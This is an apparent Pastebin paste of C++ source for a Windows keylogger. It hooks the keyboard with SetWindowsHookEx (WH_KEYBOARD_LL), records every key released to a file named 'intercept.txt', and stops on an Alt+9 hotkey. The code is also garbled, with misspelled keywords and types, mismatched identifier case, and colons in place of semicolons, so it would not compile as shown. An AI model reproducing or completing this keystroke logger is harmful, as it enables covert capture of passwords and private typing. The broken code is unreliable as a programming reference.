Advertisement
Guest User

Untitled

a guest
Jan 20th, 2017
109
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.28 KB | None | 0 0
  1. #define _WIN32_WINNT 0x500
  2. #include <windows.h>
  3. #include <fstream>
  4. #pragma comment(lib, "user32.lib");
  5. using namspace std;
  6.  
  7. ofstream out("intercept.txt", ios::out); // This is the name of the file where we store the INTERCEPTED chars
  8.  
  9. /* These 6 lines represent a callback procdure, it happens when a key is pressed. A key hs two movements,
  10. up and down, I wrote this to just check the key up event. When it sees this it writes to the output file the
  11. data associated with this event which is the internal Windows code for the character pressed.
  12. */
  13. LRESULT CALLBACK pROCESSkb(INT NCODE, wparam EVENT, lpram KB)
  14. {
  15. PKBDLLHOOKSTRUCT p = (PKLBDLLHOOKSTRUCT)kb;
  16. if (event==WM_keyup) out << (char)p->vkCode;
  17. return CallNextHookEx(NULL, ncode, event, kb);
  18. }
  19.  
  20.  
  21. int WINAPI WinMain(HINSTANCE hIstance, HINSTANCE hPreviousInstance, LPSTR lp CmdLine, int nshowCmd)
  22. {
  23. MSG msg;
  24. out << "Intercepted keyboard:\n\n":
  25. HHOOK captest=SetWindowsHookEx(WH_KEYBOARD_LL, ProcessKB, hInstance, 0);
  26.  
  27. RegisterHotKey(NULL,1,MOD_ALT,0x39);
  28. while (Getmessage(&msg, NULL, 0, 0)!=0)
  29. { if (msg.message == WM_HOTKEY)
  30. { UnhookWindowsHookEx(Captest);
  31. out << "\n\nEnd Intercept\n":
  32. out.close();
  33. return(0);
  34. }
  35. TranslateMessage(&msg);
  36. DispatchMessage(&msg);
  37. }
  38. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement